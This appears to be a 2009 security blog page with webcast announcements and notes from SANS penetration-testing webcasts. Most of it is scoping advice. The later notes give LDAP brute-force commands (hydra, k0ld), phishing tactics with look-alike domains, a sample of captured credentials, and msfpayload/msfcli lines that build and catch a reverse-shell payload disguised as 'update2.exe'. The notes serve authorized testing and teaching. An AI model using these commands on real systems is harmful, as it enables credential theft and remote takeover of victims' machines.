Modern Social Engineering Webcast Part II

Be sure to check out

Part II of the Modern Social Engineering Webcast with Chris Nickerson and Mike Murray

Webcast: Modern Social Engineering Part II - Top 5 Ways to Manipulate Humans Over the Wire

Join world-renowned social engineers, Chris Nickerson of TruTV's Tiger Team and noted expert and international speaker, Mike Murray, as they prepare you for the future of pen testing. This webcast on Thursday April 30, 2009 at 12:00 Noon CDT continues your education in the world of "Modern Social Engineering."

http://www.ethicalhacker.net/content/view/253/1/

Modern Social Engineering Webcast

Figured I'd pimp out what should be a really good webcast by Chris Nickerson and Mike Murray. They will also be doing a Social Engineering Course at the next ChicagoCon.

------

Webcast: Modern Social Engineering - A Vital Component of Pen Testing

The world of Information Security is changing. Budgets are tighter, attacks are more sophisticated, and the corporate network is no longer the low hanging fruit. That leaves web-enabled applications as the vector-du-jour, but that well is quickly drying up for organized crime as well. As they creep up the OSI Model looking for easier ways to steal your corporate assets, they are quickly making their way up the stack to the unspoken 8th layer, the end user. So what is the next step in the never-ending escalation of this cyber war?

To find out, we must do as Sun Tzu taught. "Think like our enemy!" That is, after all, the primary tenet of penetration testing AKA ethical hacking, isn't it? After years of hardening physical systems, networks, OSs, and applications, we have now come full circle to a new dawn of attack. People are now the target of the advanced hacker, and the cross-hairs are focused squarely on their foreheads... literally. It is only a matter of time before corporations feel the pain of wetware hacking requiring a new approach to testing and defense.

Join world-renowned social engineers, Chris Nickerson of TruTV's Tiger Team and noted expert and international speaker, Mike Murray, as they prepare you for the future of pen testing. This webcast on Tuesday March 10, 2009 at 11:00 CST is your primer to the world of "Modern Social Engineering."

Notes from SANS Penetration Testing with Confidence Webcast

SANS Webcast
https://www.sans.org/webcasts/show.php?webcastid=91101

Penetration Testing with Confidence: 10 Keys to Success

Lenny Zeltser

-(slide 3) sometimes the role of the attacker is tricky for a defender
-(slide 5) Asking the right questions about the pentest is essential to success.
**Less about a step by step and more about asking the right questions to get the right pen test for the customer


Question #1
-Is a pen test the type of assessment that is needed?
**Do you need to demonstrate the vulnerability, do you need to exploit it or is finding the vulnerability enough?

*Types of Assessments
-Vulnerability Assessment
-Security Policy Assessment
-Penetration Test

Question #2
-What is the scope?

*if its a pen test, is the customer actually ready to have their network or application exploited
*possibility of system crashes and failures due to failed exploitation attempts
*pen tests are good for shock value, prove that someone can get in and access information

*Scope Questions

-Targets=which specific systems or networks?
-Depth=how far into the network can we go? need to work that out before you start.
-Exclusions=self explanatory
**excluded systems are usually the most jacked up :-)

Question #3
-What tests should be performed?

*Commonly excluded tests ;-(
**mostly because they are so effective
-Denial of Service
-Physical Security
-Social Engineering
*but if its allowed, try to test specific cases that would be violations of policy or training, will people click on links in emails even though the user training says not to
-War Dialing
-Client-side Attacks


Question #4
-Are non-commercial tools allowed?
**Canvas, Core Impact, MSF, standalone exploits, BT are not necessarily "vetted" and you may need to get permission to use them

Question #5
-What is the attacker's profile

*Professional versus amateur
-Target a network for information and money
-Non-targeted attack, attack of opportunity
*knowing what type of attacker will drive the types of tests you do

Question #6
-Is it a White Box or Black Box test?

-White=full knowledge
-Black=no knowledge minus left & right limits
*depending on the test drives the Path of least resistance and attack trees
-Try to strategize before hand, check out slides 19-22, consider making attack trees

Question #7
-What are the time constraints?

-Duration of the test
-Timing restrictions

Question #8
-How to handle issues that may arise during the test?

-Target system crashed
-Sensitive data found
-You're not the first person on the box...eeeeek
*have a contact form for issues that come up

Question #9
-What do you do with the results?

Question #10
-Do I have explicit permission to perform the pen test

-Written permission...CYA

Notes from SANS Beyond Front-Line Exploits Webcast

Webcast http://www.sans.org/webcasts/show.php?webcastid=91586

Beyond Front-Line Exploits:
Tips and Tools for Comprehensive Penetration Testing

Lenny Zeltser August 2008

#1 Data in plain sight:

-(slide 6/7) site:example.com filetype:pdf
-(slide 8/9)Libextractor for extracting metadata
-(slide 10) Metagoofil
-(slide 11/12)maltego

#2: Remote Password-Guessing

-If you dont find possible usernames using the info in Data In Plain Sight, you can generate your own using
US Census to generate Top Last Names, Top Female First Names, Top Male First Names
http://www.census.gov/genealogy/names/names_files.html

*you'll have to figure out the naming convention for the company your auditing

**my note: have your top 40 username/pass I also have one for mssql passwords, at least you can do a "low hanging fruit" type check besides checking for null passwod

-(slide 15)theharvester for email gathering -use google, linkedin, pgp
-(slide 16) see if webpage gives you a clue if your username/pass is wrong username or wrong password based on error messages in the app
-(slide 17) validate usernames using brutus if the app return useful error messages
-(slide 18/19) create a list of good usernames and a short list of passwords that are worth trying "remote password guessing" writeup on ISC
-(slide 20) Accent Keyword Extractor, keywords that could be passwords for people in the company
-(slide 21) is the password recovery mechanism a weak link? ask you for secret question and display new password, can you use the app to find valid usernames? where if i enter in the wrong username it says i dont know who you are, where if i enter in a correct username a i get a secret question prompt
-(slide 24) if ldap exposed or queriable -- Ldap bruteforce with hydra $ hydra -L users.txt –P passwords.txt ldap.example.com ldap2 or $ k0ld –f users.txt -w passwords.txt -I -o out.txt -f 'cn=*' -h ldap.example.com k0ld is supposedly written specificicaly for ldap
-(slide 25) tsgrinder -- need old version or RDP client for tsgrinder to work, need version 5
** tut by me http://www.ethicalhacker.net/content/view/106/24/
** default 2k3 password complexity with shut this tool down without a good dictionary

#3: Social engineering
**just ask for what you need!
-(slide 29) email phish example for password reset
-(slide 30) ArGoSoft Mail Server Freeware allows you to relaymail locally
-(slide 31) register a similar domain name as your target, use domaintools.com to check for you. http://www.domaintools.com/domain-typo
-(slide 32) just present an error message after the user inputs creds to
-(slide 33) php backend and plugins to grab important data
USER: jsmith
PASSWORD: plumlips
LOCAL IP: 192.168.2.144
REMOTE IP: 208.77.188.166
PORT: 61035
USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1;
Mozilla Default Plug-in; RealJukebox NS Plugin;
RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit);
Shockwave Flash; Java(TM) Platform SE 6 U2;

*current browsers are not allowing to pull local IP easily

#4: Client-Side Backdoors

-(slide 35/36) target those 3rd party client side vulnerabilities -- delivery is still email or web
-(slide 37) just ask user to install the malware
-(slide 38/39) reverse shell out to attacker, or use msfpayload, he used VNCreverse
$ msfpayload windows/vncinject/reverse_tcp LPORT=5544
LHOST=192.168.1.124 DisableCourtesyShell=True X >
update2.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/vncinject/reverse_tcp
Length: 177
Options: LHOST=192.168.1.124,LPORT=5544,
DisableCourtesyShell=True

$ msfcli exploit/multi/handler LPORT=5544
PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.124
DisableCourtesyShell=True E

-(slide 43) try to get some new things brought into scope for pentests especialy client sides

-from the questions, mindmap all that info above to organize, freemind is a free version

2 More Webcasts by Ed Skoudis

Here are two more webcasts to take a look at. I know you have to be registered to see the SANS one.

New Computer Attack Tools and Techniques at SANS

Penetration Testing Ninjitsu Part II: Crouching Netcat, Hidden Vulnerabilities with Ed Skoudis at CORE Security

The SANS one was good. here is the outline:

• Improved Scanning with NSE
• Cain – The Attacker’s Dream Tool
• Pass the Hash Attacks
• New Research Areas & Conclusions

Pretty good stuff. I hope that nmap can become the "single vulnerability" checker that nessus used to be, that would be handy.

You can also get some more info on Pass the Hash stuff on my blog and similarly the token impersonation techniques. Both things you should probably be incorporating into your pentest methodology.

I havent watched the Penest Ninjitsu Part II one yet.